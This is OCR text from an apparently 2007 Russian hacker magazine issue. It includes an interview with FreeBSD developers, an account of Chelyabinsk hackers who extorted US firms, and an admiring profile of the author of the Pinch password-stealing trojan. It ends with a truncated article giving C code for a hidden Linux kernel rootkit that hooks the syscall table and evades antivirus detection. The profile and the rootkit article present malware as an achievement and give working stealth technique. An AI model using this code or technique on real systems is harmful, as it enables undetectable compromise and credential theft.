школев 10‐11‐х классах.В свободное времяиграет на гитаре.Антон БерезинРодился в 1970‐м,в 1995‐м уехалв Копенгаген. Живетв Дании, работаетсетевым программистомв сфере телекоммуникаций.Такжеучаствует в разработкеязыка программированияPerl.голосования добавление новых разработчиковдля commit bit'а в порты и напрямую работаетс core@, re@ (release engineering team)и secteam@ (security team) над будущимичасто «кидают клич» в рассылку, и местныеорганизуют встречу. Иногда этим занимаютсядругие коммитеры, иногда — локальные группыпользователей FreeBSD/BSD/Unix.системы — очень важный компонент мотивации.R.: Как правило, у разработчиков есть кто‐товроде руководителя на первом этапе. Он называетсяmentor (наставник). Иногда их бываетxàêåð 02 / 98 / 07/101


сценас удивительной скоростью налаживаютсядобрососедские отношения.Кириллическое зеркало официального сайта FreeBSDнесколько. По действующим правилам, первыешаги новый участник должен совершатьтолько после их одобрения наставником. А тот,в случае чего, поправит и скажет, если что‐тоделается не так. После некоторого времени,которое определяет наставник, разработчикотпускается в свободное плавание.И. А.: FreeBSD делают люди многих стран.Откуда родом большая часть разработчиков?K.: FreeBSD довольно‐таки многонациональныйпроект, большинство разработчиков изАмерики. Из бывших стран СНГ нас тоже много,в настоящее время около 40‐45 человек.Разработчики, как правило, совмещают основнуюработу с работой в FreeBSD, так как многиеиз них занимаются, программируют, администрируютFreeBSD на основной работе.I.: Разработчиков больше там, где лучшеконнект и чаще встречаются компьютеры.На первом месте США, потом Германия. К сожалению,Россия пока не на первых местах по этимпоказателям. В какой‐то степени это, нужнодумать, компенсируется легендарной остротойрусского ума, на что, однако, может претендоватьлюбая нация. В этом году обещалиподключить к интернету все российские школы.Будем надеяться, что на фоне «офисных» навыкову нового поколения разовьется здоровыйинтерес к информационным технологиям.И. А.: Как стать разработчиком FreeBSD? Можетли в команду влиться любой толковый пареньс улицы?T.: Да, разумеется. Шлите качественныеProblem Reports и почти неизбежно будете «наказаны».Бывают, конечно, исключения, когдачеловек сам не хочет. Так произошло, например,с легендарным японцем KATO Tsuguru, который/ 102шлет феноменальное количество обновленийпортов. Ходят слухи, что это псевдоним, за которымскрывается коллектив из 10 человек :-).R.: Да, безусловно. Любой человек, вносящийзаметный вклад в развитие системы или решившийвзяться за какую‐то подсистему, можетбыть «наказан» за свои усилия. Ведь с момента,как ему дадут commit bit, он будет официальноназван «груздем», и от «кузовка» ему уже будетнекуда деваться. Кроме интереса, у человекапоявится еще и ответственность.И. А.: Что такое FreeBSD Core Team? Чем занимаютсялюди, входящие туда? Вообще, было быинтересно узнать схему работы.T.: Core Team в основном занимается разрешениемконфликтов между коммитерами(разработчиками — примечание И. А.).Их задача также — одобрение кандидатурновых src-коммитеров и общий надзор надпрочими органами проекта, в числе которыхможно упомянуть portmgr — одобрение кандидатурport-коммитеров, инфраструктура портов;doceng — то же, что и portmgr, но для документации;release engineering team — ответственныеза процесс выпуска новых версий системы;secteam — вопросы безопасности; admin team— сисадмины кластера FreeBSD.org. Из всехэтих образований только Core Team являетсявыборным органов. Во все остальные людипопадают так же, как и в коммитеры — их поощряютза хорошую работу.И. А.: Есть ли у свободного ПО шансы вытеснитьWindows с десктопа? Или, быть может, это и ненужно?I.: Мало кому из нас хочется видеть FreeBSDна всех компьютерах в мире. Мне особенноприятно наблюдать растущее разнообразиеполноценных систем, от BSD и Linux до Haikuи ReactOS. Что до коммерческих, закрытыхсистем, главным образом Windows и Mac OS X,они зачастую являются двигателем прогрессаво многих областях, источником идей и дажеэталоном качества, если речь заходит,например, о дружелюбности системы к далекимот компьютеров людям. На практикеконкуренция принимает все более здоровыйвид, а между сообществами разработчиковИ. А.: Какую литературу по FreeBSD посоветуешьсистемным администраторам? Обычнымпользователям? Имеет ли смысл читать что‐либо,кроме Handbook?I.: Имеет смысл читать все, что кажется интересным,по любым Unix‐системам. FreeBSD следуетлучшим традициям своих прародителей. Имеяхороший опыт администрирования никсов, тыне найдешь неприятных сюрпризов в нашейсистеме. Кроме того, BSD‐системы издавнаславятся исключительно высоким качествомстраниц справочника, так что привычка пользоватьсякомандой man (1) не повредит.И. А.: Как относишься к Microsoft? Многиедумают, что разработчики BSD ненавидят корпорациюлютой ненавистью и метают дротикив фото Гейтса…K.: На самом деле, разработчики FreeBSDтолерантны к корпорации MS, а также к Гейтсу.Метание дротиков в фото Гейтса — это уделсумасшедших фанатов свободного ПО, которыене могут понять, что, если бы не было MS, их, какфанатов, наверное, тоже не было бы.I.: Единственные эмоции, которые я обычноиспытываю по поводу MS, — это радость и восторгот сюрпризов, постоянно обнаруживаемыхв ее продуктах, услугах и деятельности в целом.Если же говорить о рациональном мнении,я искренне благодарен Гейтсу за вклад в ИТ, зато, что менее заинтересованные в компьютерахпользователи сами могут пользоваться теми жетехнологиями, что и я.И. А.: Что, по‐твоему, не хватает FreeBSD сегодня?Каким ты видишь ее будущее?T.: Со своей колокольни я вижу, что теперешняяинфраструктура портов начинает не справлятьсяс их количеством (16300+). Этот вопрос,так или иначе, придется решать в течениеближайших лет трех. Интересно, насколько хорошоFreeBSD будет себя вести на обещанныхИнтелом в течение пяти лет 80‐ядерных процессорах.Будущее предсказывать не берусь,но рассчитываю, что в нем место для любимойсистемы найдется.I.: Я люблю проект таким, какой он есть. Мое богатство— десятки новых друзей, которых у меняуже никто не отнимет. Это и есть FreeBSD — кругдрузей, замечательных, добродушных, веселыхлюдей. Ничего, кроме приятных сюрпризов,в такой компании от будущего ждать нельзя.А главный сюрприз для нас всегда — новыелица. Вливайтесь! zxàêåð 02 / 98 / 07


РЕДАКЦИОННАЯ ПОДПИСКАПо всем вопросам,связанным с подпиской, звоните по бесплатнымтелефонам 8(495)780-88-29 (длямосквичей) и 8(800)200-3-999 (для жителейдругих регионов России, абонентов сетейМТС, БиЛайн и Мегафон). Вопросы о подпискеможно также направлять по адресу info@glc.ruили прояснить на сайте www.GLC.ruКак оформить заказ1. Разборчиво заполните подписной купон и квитанцию, вырезавих из журнала, сделав ксерокопию или распечатав с сайтаwww.glc.ru.2. Оплатите подписку через Сбербанк .3. Вышлите в редакцию копию подписных документов — купона иквитанции — любым из нижеперечисленных способов:по электронной почте subscribe@glc.ru;по факсу 8 (495) 780-88-24;по адресу 119992, Москва,ул. Тимура Фрунзе, д. 11, стр. 44-45, ООО «Гейм Лэнд», отдел подписки.Внимание!Подписка оформляется в день обработкикупона и квитанции в редакции:в течение пяти рабочих дней после отправки подписных документов в редакцию по факсуили электронной почте;в течение 20 рабочих дней после отправки подписных документов по почтовому адресуредакции.Рекомендуем использовать факс или электронную почту, в последнем случае предварительноотсканировав или сфотографировав документы.Подписка оформляется с номера, выходящего через один календарный месяц после оплаты.Например, если вы производите оплату в ноябре, то журнал будете получать с января.ÑÒÎÈÌÎÑÒÜ ÇÀÊÀÇÀ ÍÀ êîìïëåêò Õàêåð+DVD1080 руб çà 6 ìåñяöåâ1980 руб çà 12 ìåñяöåâ


сценаFBIИлья Александров/ ilya_al@rambler.ru /противрусскиххакеровИстория кибервзломщиков из ЧелябинскаМы много рассказывали тебе о зарубежных легендах хак-сцены. Митник, Legionof doom, Кевин Паулсен… Но любой на Западе знает, что самые умелые и яростныекомпьютерные взломщики живут в России. Раскрученный массмедиа-миф, скажешьты? Может быть, но у этого мифа есть очень серьезные основания.Челябинск. 2000 годВасилий Горшков родился и выросв Челябинске. Это холодный уральскийгород, где в союзные времена размещалисьзаводы по производству ядерного оружия.Потом Союз рухнул, и от ядерного оружияостались лишь химикаты, засорившиереку. В это непростое время Горшковзакончил факультет машиностроенияЮжно-Уральского университета, но работатьпо специальности не хотел. У Василиябыла мечта — открыть бизнес в Сети. Что-товроде Amazon.com или Ebay.com.Он снял помещение для офиса, которымстала небольшая комната на Челябинскойтекстильной фабрике. Закупил старенькиекомпьютеры, а в качестве мебели выступилипластиковые стулья, добытые на очереднойакции Coca-Cola./ 104xàêåðВ год миллениума Горшкову исполнялось24 года. Он нанял команду из четырехпрограммистов, зарегистрировал сайтhttp://tech.net.ru. Но катастрофическине хватало денег. Компании и слышать ничегоне хотели об электронной коммерции.А уж чтобы распространять свою продукциючерез глобальную Сеть — тогда дляфирмы провинциального города это былонемыслимо. Единственным доходом стало созданиевеб-сайтов, но этого было чертовски мало.Одним из программистов, нанятыхГоршковым, оказался Алексей Иванов.Девятнадцатилетний Алексей был из беднойсемьи. Зарплаты матери-учительницы едвахватало на самое необходимое. Но Ивановуничего было не нужно, кроме компьютера, появившегосяу него в шестнадцатилетнемвозрасте. Алексей самостоятельно освоилпрограммирование и даже поучился натехническом факультете в Челябинскомуниверситете, но на первом же курсе егоотчислили. Уже не понаслышке знавшийо хаке, Иванов предложил Горшкову вариантзаработка.Заработок сводился к вымогательству денегу зарубежных компаний. Сначалахакеры сканировали сеть на уязвимости.Как правило, выбирался диапазон IP-адресовамериканских провайдеров. Когда уязвимостьнаходилась (обычно это были дыры в серверныхверсиях винды), они связывалисьс системным администратором фирмы. Чащевсего это происходило с помощью электроннойпочты. Текст письма всегда был одногои того же характера: «Здравствуйте. Я представляюгруппу компьютерных экспертов. Мыспециализируемся на проверке защищенности02 / 98 / 07


сценаЙон Моргенштерн Горшков и его женаВасилий ГоршковПО серверов, кредитной системы и т.д.В настоящий момент наша группа находитсявне границ США, и законы нашей странылояльны к деятельности подобного рода».Дальше шел список уязвимостей, найденныххакерами. Админу предлагалось потребоватьу начальства денег, чтобы «группа компьютерныхэкспертов» в следующий раз не разнеславсе содержимое сервера к чертовойматери. С маленьких фирм требовали парусотен баксов, с серьезных холдингов — по несколькудесятков тысяч долларов.Несмотря на все это, Горшков по-прежнему относилсяк хакерству только как к методу добычипервоначального капитала. Двое его разработчиковне занимались взломом, продолжаяработу над проектом. Они писали движок длясайта, программировали свою программу дляорганизации интернет-аукциона.Взломы же осуществляла группа хакеров,живших в разных городах постсоветскогопространства. Вероятно, среди них были хакерыиз Москвы и Петербурга. Горшкова сгруппой свел Иванов, представив коллективкомпьютерщиков как Expert Group of ProtectionAgainst Hackers. В Expert Group состоялопорядка 20 компьютерщиков.Чаще всего подвергались нападениюинтернет-казино (как хранилища инфы окредитных картах), банковские серверыи провайдеры. Взломщики вели себянагло, временами безалаберно. Они не всегдауничтожали сведения о своем пребываниив системе, иногда даже оставляя файлы с содержаниемвроде: «Здесь был Алекс».Иванов и Горшков были уверены, что им ничегоне грозит. Более того, хакеры предлагалисебя в качестве security-консультантов! Ивановвысылал свое резюме, сопровождая егофотографией. Впоследствии, кстати, сисадминфирмы Lightrealm Communicationsговорил, что у него нет к Иванову никакихпретензий. Хакер помогал тестировать безопасностьОС и не совершал никаких вредоносныхдействий. Эксперты с ухмылкой отвечалина это, что Lightrealm таким образом защищаетне взломщиков, а себя — их серверы такжебыли использованы для атак.Впрочем, иногда возникали проблемы.Например, компания Speakeasy, занимающаясяпредоставлением услуг доступав интернет, отказалась платить хакерам дажеперед угрозой взлома и опубликования отчетаоб уязвимостях. Иванов даже звонил МаксуЧандлеру (администратору Speakeasy), используяоплаченную краденой кредиткой IPтелефонию.Макс заявил, что не будет спонсироватьвымогателей, и пригрозил обратитьсяв полицию. На это Иванов ответил, что посадитьего нет никакой возможности — в Россиизаконы о компьютерных преступленияхне работают. Отчасти он был прав, но он дажене догадывался, что произойдет в недалекомбудущем…Операция спецслужбКак бы там ни было, бизнес шел в гору.Конечно, ни о каком онлайновом магазинеречи уже не шло. Был осуществлен взломсайта системы электронных платежейPayPal. Атака на серверы компании «ВестернЮнион» обеспечила взломщиков информациейо 15 700 кредитках. Среди жертв командыГоршкова — финансовая компания OnlineInformation Bureau, провайдеры VPM Internetи Goodnews Service, лос-анджелесский банкNara Bank… За 9 месяцев «работы» хакерыполучили около полумиллиона долларов.Деньги, полученные вымогательством укомпаний и с кредиток, переправлялись насчета в Румынию, Кипр и Казахстан. Люди наместах обналичивали баксы и пересылали ихГоршкову.Куда они девали такие бешеные суммы —загадка. Их знакомые говорят, что не замечалиособых изменений в благосостоянииГоршкова или Иванова. Они не покупалидорогую одежду, недвижимость и не отдыхалина Гавайях. Правда, Иванов все-таки приобрелподержанную машину за тысячу долларови мобильный.Неизвестно, сколько бы еще длился кошмарамериканских сисадминов, если бы Ивановв качестве следующей жертвы не выбралE-Money Inc. Это очень крупная компанияв Вашингтоне, занимающаяся интерактивнымирасчетами. Было послано традиционноеписьмо приблизительно такого смысла: «Выне защищены. Чтобы у вас не стало плохос сердцем, дайте нам бабок. Что делать — намочень нужны деньги». Получил это обнадеживающеепослание ни админ младшегозвена, а крутой дядька Йон Моргенштерн,который эту компанию, собственно, ивозглавлял.xàêåð 02 / 98 / 07/105


сценаСистема PayPal — одна из жертв хакеровТа самая скандальная публикация в Washington postПросили в этот раз хакеры много — 500 000убитых енотов, что является немалой суммойдаже для монстров рынка. Хакеры по своейизлюбленной традиции выкачали всю инфуо кредитках клиентов, а в качестве доказательствасерьезности своих намерений на/ 106xàêåðодном из серверов оставили текстовый файлс приветом.Йон нанял огромный штат security-экспертов,призванных обеспечить безопасность, купилновое оборудование, ПО. В итоге, наоснащение безопасности было потраченов 2 раза больше, чем просили хакеры, — целыймиллион. Это было, как говорится, делопринципа.В результате телефонных переговоров с челябинцамиЙону удалось снизить сумму, закоторую Горшков обещал оставить в покоеамериканцев, до всего лишь 75 тысяч. И нетбы заплатить, но жадность и вера в своихспециалистов не позволили. В итоге хакерызадосили серверы компании, сделав ее работуневозможной. А ИТ-эксперты из securityфирмСША лишь вздыхали.Отчаявшись, Йон обратился в ФБР. В Бюроо «группе экспертов» из России были уженаслышаны. После серии взломов отделпо борьбе с киберпреступностью разросся до700 человек. В связи с заявлением Йона былонабрано еще 200 сотрудников. ФБР установилозаписывающие устройства на телефонМоргенштерна и прослушивало все его переговорыс хакерами.А Иванов с Горшковым, сидя в тесной челябинскойквартире, даже не подозревали, чтопо ту сторону океана против них ведетсянастоящая масштабная операция спецслужб.Спецслужбы разослали во все крупные компанииСША просьбу сразу же сообщать, еслиони столкнутся с вымогателями. Получившаятакое письмо Network Services доложила, чтоу нее в консультантах числится хакер изРоссии, и предоставила резюме АлексеяИванова, любезно сопровожденное имфотографией. Наглость и самоуверенностьхакеров сыграла с ними злую шутку. Агентыуже не сомневались, что Иванов связан с терроризировавшимиамериканские компаниихакерами.Руководивший делом Стефан Шредер сделалзапрос в ФСБ с просьбой помочь впоимке злоумышленников. Но российскиевласти просьбу американцев проигнорировали.Наверное, тогда, в двухтысячном,киберпреступлениям в Россиидействительно не придавали большогозначения.Стало ясно, что арестовать Иванова натерритории России будет невозможно. Нужнобыло заманить хакера в США. Тогда агентысоздали сайт несуществующей компьютернойфирмы Invita Technologies и сделали Ивановупредложение продолжить работу в СШАв качестве secutity-эксперта этой фирмы.При этом «работодатели» из ФБР не забылиупомянуть, что получали хвалебные отзывыот компаний, до этого пользовавшихся егоуслугами.Работать компьютерщиком в штатах Ивановмечтал давно. У него и в мыслях не было, чтоэто может быть банальная подстава.Прежде чем трудоустроиться, надо былопройти собеседование в Сиэтле. ДорогуФБР с удовольствием оплатила. Алексейне только сам клюнул на удочкуагентов, но еще и потащил с собой вАмерику Горшкова. В качестве деловогопартнера. В аэропорту их дружелюбно встретилии отвезли в роскошный офис одной изкомпьютерных фирм.Якобы для того чтобы парни продемонстрировалисвой профессионализм, им было предложеновзломать несколько сайтов, что, сампонимаешь, для них было пустяком и деломжитейским.И вот тут начинается самый странный моментв деле… Заглядывая вперед повествования,сообщу, что главными доказательствами виныИванова и Горшкова в суде послужилаинформация с их домашних компьютеров.Естественно, никаких жестких дисковФБР не выкрадывало. Вряд ли Иванов везс собой CD с логами всех взломов.Доподлинно известно, что на предоставленныххакерам в Сиэтле компьютерах былиустановлены кейлоггеры. Но взлом в присутствииагентов нельзя ставить им в вину— они же считали, что это необходимый этаптрудоустройства, и виноват тут может бытьтолько «заказчик». Так что эти взломы доказывалилишь тот факт, что хакеры действительнообладали соответствующими навыкамии умениями. Но за это не посадишь.Если верить спецслужбам, то они получилидоступ к компьютерам челябинцевудаленно. То есть взломав.Но неужели такой специалист, какИванов, держал на своей машине дырявоеПО? И получается, что личный комп хакерабыл взломан еще до его отлета в Сиэтл?Как бы там ни было, все содержимое жесткихдисков хакеров находилось у ФБР.После «собеседования» Иванова с Горшковымуже везли на машине в тюрьму.02 / 98 / 07


сценаПортал www.fbi.govАлексей ИвановОб осужденных и скрывшихсяХакеры были арестованы в конце 2000 года.В октябре 2002‐го суд вынес приговор по делуГоршкова — 3 года тюрьмы. Иванов дождалсясуда только в 2003‐м. На суде прокурорзаявил, что деятельность Иванова принеслаущерб в 25 миллионов долларов.Итог — 4 года лишения свободы. Хакерам,конечно, еще повезло, что они отбывали срокв США, а не в России.Адвокат подсудимых Кеннет Канев настаивална том, что ФБР нарушило статьюконституции, обеспечивающую неприкосновенностьличности. Ведь взломкомпьютеров, к которому агенты прибегли,— это правонарушение.А улики, добытые с нарушением закона, уликамине являются. Более того, за наших хакеров— подумать только — вступились ребята изродной ФСБ. На полном серьезе говорилосьо возможности заведения уголовногодела на американцев по 272 статье УК РФ,потому как когда хакеров судят люди, орудующиехакерскими методами, — это нонсенс.Но разговоры остались разговорами, и доводамадвоката суд не внял.В тюрьмеГоршков обучал местных уголовниковрусскому языку, много читал и даже выигралчемпионат по шахматам.Спустя 3 года после ареста, Василийвернулся на родину. Но свободным еготрудно назвать — американский судпостановил, что Горшков должен выплатитькомпенсацию в размере 690 тысячдолларов. Как он будет это делать, неясно.Надеюсь, обойдется без взлома серверов.В этом деле, о котором можно снять полноценныйприключенческий фильм, есть еще многостранностей. В команде Горшкова было порядка20 человек. Иванов, давая показания, назвалимена семерых подельников. Ни одиниз них осужден не был. Все, кто был в группеГоршкова, залегли на дно. Ники, которымипользовались хакеры, больше не появлялисьна просторах Сети.Позже Иванов в своих письмах писал, чтодействовало две группы хакеров. В первойработали они с Горшковым, во второй жечислились совсем другие люди. Именноони, по его словам, и осуществляли основныевзломы, в том числе и DDоS серверов компанииE-Money Inc. Впрочем, свою вину он не отрицали перед пострадавшими извинился.В Челябинске же хакеры стали национальнымигероями. Декан университета, в которомучился один из них, назвал их действия«компьютерными чудесами» и сказал, чтосуд вынес слишком суровый приговор. Послеареста хакеров ряд американских сайтов былвзломан, а на главных страницах был помещенлозунг: «Свободу Василию Горшкову!»Суд над русскими хакерами, и без того демонизированнымизападной прессой, имелв штатах широкую огласку. Сюжеты в теленовостях,заголовки на новостныхресурсах, статьи в печати.Естественно, факты там перевиралисьдо абсурдного; отдельные акулыпера заявляли, что Иванов хакнулспутник. Впрочем, одну профессиональнуюи очень интересную статью я всеже нашел. Это журналистское расследованиев Washington post, где, помимопрочего, автор пишет об одномиз хакеров, избежавших жестоких рукправосудия.Ариана Еуньянг (Ariana Eunjung) рассказывает,что беседовала с одним изхакеров, оставшихся на свободе. Онане называет его фамилии, упоминаялишь имя — Михаил. Михаил — ровесникИванова и в настоящее время работаетпрограммистом. Агенты ФБР отправляли емуписьмо, рассчитывая, что Михаил явитсяс повинной. Последний посоветовал спецслужбамоставить его в покое и заявил,что будет заниматься тем же, чеми раньше. Михаил живет в центреМосквы, в квартире, купленной насредства, вырученные путем вымогательству иностранных компаний,катается на новенькой Honda Prelude.О своем участии в махинациях Горшкова говоритьне любит. Утверждает, что его роль сводиласьк поиску ценной инфы на взломанныхсерверах, что вымогательством и собственнохаком он не занимался.Сейчас он добывает частную информацию, а потомее распространяет. Например, торгуетбазой данных клиентов юридической фирмы.Его жена и мать в курсе его деятельности.Он говорит, что не боится никакого наказания.Впрочем, всей вышеприведенной информацииможно доверять настолько, наскольковообще можно доверять американскойпрессе. Комментируя публикациюв Washington post, в ФБР заявили, что раноили поздно все хакеры, покушающиеся набезопасность серверов США, будут арестованыи приданы суду. Какие же они все-такинаивные! Русские хакеры, в отличие от американскоймафии, бессмертны. И на каждыйамериканский сервер у нас всегда найдетсяпарочка своих Ивановых. zxàêåð 02 / 98 / 07/107


сценаИлья Александров/ ilya_al@rambler.ru /X-ProfileX-ProfileX-PRofileБиографическая справкаОдин из самых одиозных российских хакеров появился насвет в небольшом украинском городке Ровно в 1984 году.Его отец был инженером — спектрумы, собранные рукамиродителя, во многом определили выбор жизненного путиАлександра. С детства окруженный микросхемами и системнымиблоками, уже в третьем классе талантливый пареньначал писать свои первые программы. Конечно же, наБейсике. «Убогие рисунки, созданные с помощью стандартныхфункций line() и cricle()» — так впоследствии отзывалсяо них сам Coban. Его ник, кстати, сохранился с тех же самыхвремен. «Кабаном» его называли и друзья, и родители.Почему так, никто уже и не вспомнит, но Александр уверяет,что толстым не был никогда. Ну а приставка «2k» появилась,дабы отличаться от других, бестолковых кабанов-ламеров.В школе Coban учился неважнецки, единственная пятеркастояла по информатике. Все свободное время уделялпрограммированию: олимпиадным задачам, книгам отечественныхавторов вроде Окулова и Липского. Детальноизучал Паскаль, а Дельфи до сих пор остается любимойсредой его разработки.В начале нового тысячелетия Coban2k стал членом хактимыLd-Team. Общение с единомышленниками сильноАлександр Демченко aka Coban2kповлияло на Александра, с тех пор основная сфера егодеятельности — сетевая безопасность.Известность на этом поприще он получил среди ICQ-хакеров.Coban написал TICQClient — компонент для Дельфи,позволяющий сделать как свой безобидный аналог софту отМирабилис, так и убойный флудер. Потом из-под его клавиатурывышел еще один компонент, нареченный ICQMenace.Код, «помогающий понять проток ICQ», пользовался большимуспехом у создателей сниферов.Выход же трояна Pinch навсегда вписал ник его авторав историю русского хак-андеграунда. Впрочем, несмотряна разработку ряда ужасающих обычного юзера программ,хакингом как таковым Александр ни занимался никогда.Программирование, по его утверждению, куда интереснееугона чужих уинов и взлома сайтов.ПроектыPinch — это один из первых проектов, написанных Сoban’омна Ассемблере. Pinch является аналогом трояна, сделанногодо этого Ld-Team. Первая его версия была разработанавсего за две недели.Последующие, улучшенные версии трояна в 2003/2004 годах вызвали настоящую эпидемию. Pinch добывалпароли почти от всех клиентов ICQ, почтовиков,TotalCommander, включал в себя шпиона клавиатуры и удаленнуюконсоль… При этом откомпилированный трой весил10 Кб и распространялся с открытыми исходниками. Болеесовершенного оружия скрипткидисам еще никто не дарил.Выложенные для скачивания в свободный доступ версииPinch сегодня палятся всеми антивирусами. Новые жерелизы доступны лишь на коммерческой основе.Coban2k является автором MicroJoiner. Мы уже писалиоб этой проге — с помощью нее ты можешь отправитьдоверчивому юзеру фотку голой Курниковой, склееннуюс MyDoom.exeX-Profile/ 108«Хак-сцена сейчас на 90% состоит из подростков-неудачников,которые, вместо распития пива и гулянийпо девкам, строят из себя хакеров, протроянивая/ломаявсех подряд»X-Profilexàêåð 02 /98/ 07


сценаX-ProfileX-ProfileСтатья Сoban’а о дыре в осликеПрограмма Multi Password Recoveryадминистрирования с нормальным интерфейсом, движокдля электронных журналов (смерть ЖЖ!) и — самое главное— компилятор Бейсика. Наверное, это необходимодля создания сплойтов под новую винду, не иначе.Периодически Coban2k пишет статьи и руководствана форумах сайтов wasm.ru, web-hack.ru и в журнале«ХакерСпец» =). О месте работы рассказывает короткои уклончиво: «Фрилансер».ХоббиCoban увлекается спортивным боулингом. Любит читатьи читает строго фантастику, самую разнообразную.Интересуется развитием демо-сцены. Админит сетьв своем дворе. zАлександр написал несколько прог для дешифрациифайлов винды, утилиту для «подсматривания» паролейи телефонных номеров от Dial-Up соединения на удаленномПК. Так что если есть еще несчастные модемщики— имейте ввиду.Coban2k не обошел вниманием и такую важную в нашемнелегком деле вещь, как криптографию. В частности, рекомендуюпосмотреть его HashLib! — понимающую большинствосовременных алгоритмов библиотеку для Delphi.Да, обладателям элитных шестизначек напомню, что заICQ-tools (набор софтин для аолхакеров) кланяться в ногитоже нужно Сoban’у.Александр, помимо хакерского софта, работает и над вполнемиролюбивыми программами: TVyChat и MP3Info. TVyChatявляется клиентом для обмена сообщениями, используя протоколVypress chat, а MP3Info показывает всю информацию обmp3‐файле — битрейт, частоту, исполнителя и прочее.Весь софт доступен на www.cobans.net. Сначала этотресурс создавался для одной локальной сети, но сейчасэто официальный сайт Александра Демченко.Чем занимается сейчасCoban2k проживает в Молдавии, учится на ИТ-спецав Молдавском государственном университете.Сейчас работает над Multi Password Recovery, это софтдля восстановления забытых паролей (passrecovery.com).Планирует разработать систему удаленногоКонфигурирование троянаX-Profilexàêåð 02 /98/ 07«Уголовный кодекс относительно компьютерных преступленийдалеко не идеален. Но я УК не боюсь. Тех жеавторов сервера Apache можно обвинить в созданиивредоносных программ, так как Apache способен послужитьутечке конфиденциальных данных или распространению(хостингу) вредоносных программ»X-Profile/ 109


unixoidКрис КасперскиСоздание LKM-модулей, которые невозможно обнаружитьПризракиядра,илимодулиневидимкиПотребность в создании невидимых модулей ядра растет с каждым днем — антивируснаяиндустрия набирает обороты, на рынке присутствует множество virginitychecker'ов,проверяющих систему на предмет дефлорации. Кроме того, в хакерскихжурналах опубликована масса статей, рассказывающих, как прятать модули от штатныхсредств ОС, в результате чего старые трюки уже не работают. Требуется что-топринципиально новое. В этой статье речь пойдет главным образом о сокрытиизагружаемых модулей в Linux, но предложенные приемы с ничуть не меньшим успехомможно использовать в NT и BSD.Лучший способ замаскироватьмодуль — не иметь модулявообще. И это не шутка! Модулипредставляют собой унифицированныймеханизм, обеспечивающий легальнуюзагрузку/выгрузку компонентов ядра. Однакосуществуют и другие механизмы проникновенияна уровень ядра, некоторые из них описаныв моей статье «Захват нулевого кольца», но всеони не универсальны и не надежны. С другойстороны, любая попытка явного стелсирования(смот ри статью «Поиграем с туксом в прятки»)— это стопроцентное палево, выдающее факт/ 110xàêåðвторжения с головой. Антивирусу достаточновручную пройтись по всем структурамядра, а затем сравнить полученный результатс данными, возвращенными легальными средствами(например, командой lsmod).Поэтому, чтобы не иметь проблем с маскировкоймодуля, достаточно просто не регистрироватьего в списке модулей, отказаться отпредоставляемого системой унифицированногоинтерфейса и размещать свое тело в ядернойпамяти самостоятельно. Но для этого сначаланужно вырыть нору, ведь мыши, модулии прочие грызуны живут в норах, а на открытомпространстве быстро погибают, становясьлегкой добычей лис, филинов и других ухающиххищников.Руководящая идеяПишем модуль как обычно, но в процедуреinit_module() выделяем блок памяти вызовом__get_free_pages (или любой другой функциейиз семейства kmalloc(), смотри врезку «Чемвыделять память»). Копируем туда резидентныйкод, делающий что-то «полезное», перехватываемвсе необходимые системные вызовы, заставляяих передавать управление резидентному02 /98/ 07


unixoidНекорректный перехват системного вызова приводит к аварийномузавершению обратившегося к нему процесса, а не всегоядра целиком (как это происходит в NT)Сборка, загрузка и демонстрация работы невидимого модулякоду (который, кстати говоря, должен бытьперемещаемым, то есть сохранять работоспособностьнезависимо от базового адресазагрузки). После этого мы возвращаем -1, сообщаясистеме, что вызов init_module() потерпелнеудачу.В результате — модуль не загружается, но и выделеннаяим память не освобождается, а этозначит, что резидентный код продолжаетработать! Причем определить, каким именномодулем был выделен тот или иной блокпамяти, в общем случае невозможно, и дажеобнаружив резидентный код, антивирус не сможетсказать, откуда он тут взялся!В качестве шасси мы будем использовать скелетLKM-драйвера, приведенный в уже упомянутойстатье «Поиграем с туксом в прятки». Фактическимы только выбросим процедуруcleanup_module(), выполняющуюся при выгрузкемодуля из памяти (ведь наш модульникогда не выгружается), добавим функциюthunk_mkdir(), замещающую собой старыйсистемный вызов SYS_mkdir(), и напишем несколькосток кода, обеспечивающих выделениепамяти, копирование thunk_mkdir() и подменуоригинального SYS_mkdir'а. Если отброситькомментарии, на все про все понадобитсяменее десяти строк на языке Си!if (!new_mkdir) return -1 |printk(«mem error!\n»);/* определяем адрес оригинальноговызова SYS_mkdir (в данной версиимодуля никак не используется) */old_mkdir = sys_call_table[SYS_mkdir];/* копируем резидентный код новогоSYS_mkdir в блок памяти, выделенныйвызовом __get_free_page */memcpy(new_mkdir, thunk_mkdir, thunk_end — thunk_mkdir);Proof-of-concept module,или готовая демонстрацияДавай в качестве разминки соорудим минимальноработающий невидимый LKM-модульдля Linux с ядром версии 2.4 (ядро 2.6 потребуетнезначительных изменений, о которых я расскажуниже). Вот в операционных системахBSD и NT все сильно по-другому, хотя основополагающийпринцип тот же: в процедуреинициализации выделяем память, копируемтуда резидентный код, перехватываем одинили несколько системных вызовов и возвращаемошибку, приводящую к выгрузке модуляиз памяти. Подробнее о технике написанияLKM- и KLD-модулей под BSD можно прочитатьв моих предыдущих статьях. Также рекомендуетсяознакомиться с циклом статей Four-F'ана wasm'e, покрывающим собой все основныеаспекты разработки драйверов: www.wasm.ru/article.php?article=drvw2k01.Но вернемся к Linux'у. Наш «невидимка» будетперехватывать системный вызов SYS_mkdir, возвращаянеизменную ошибку вместо передачиуправления оригинальному syscall'у, в результатечего создание новых директорий окажется невозможным(во всяком случае, до перезагрузкисистемы). Это сделано для облегчения листингаи упрощения его понимания. Примеры реализацииполноценных перехватчиков содержатсяв моей статье «Системный шпионаж в *nix».xàêåð 02 /98/ 07Сердцевина невидимого LKM-модуля/* заглушка на функцию SYS_mkdir,всегда возвращающая -1, то естьблокирующая всякую попытку созданиядиректории с сообщением об ошибке;), естественно, в полновесномвирусе или rootkit'е здесь долженбыть обработчик, передающий управлениеоригинальному системномувызову */thunk_mkdir(){return -1;// директория не создается}.../* EntryPoint: стартовая функциямодуля, ответственная за его инициализациюи возвращающая 0 (при успешнойинициализации) и -1 (еслив ходе инициализации были зафиксированынеустранимые ошибки */int init_module(void){// выделяем одну страницу ядернойпамятиnew_mkdir = (void *) __get_free_page(GFP_KERNEL);// проверяем успешность выделенияпамяти/* модифицируем таблицу системныхвызовов, заменяя старый вызовmkdir новой процедурой-заглушкой */sys_call_table[SYS_mkdir] =new_mkdir;// выводим отладочное сообщение,что все ОКprintk("SYS_mkdir is nowhooked!\n");/* возвращаем ошибку, предотвращаязагрузку модуля, но оставляя резидентныйкод в памяти */return -1;}Для переноса модуля на ядро 2.6 прототип функцииинициализации следует 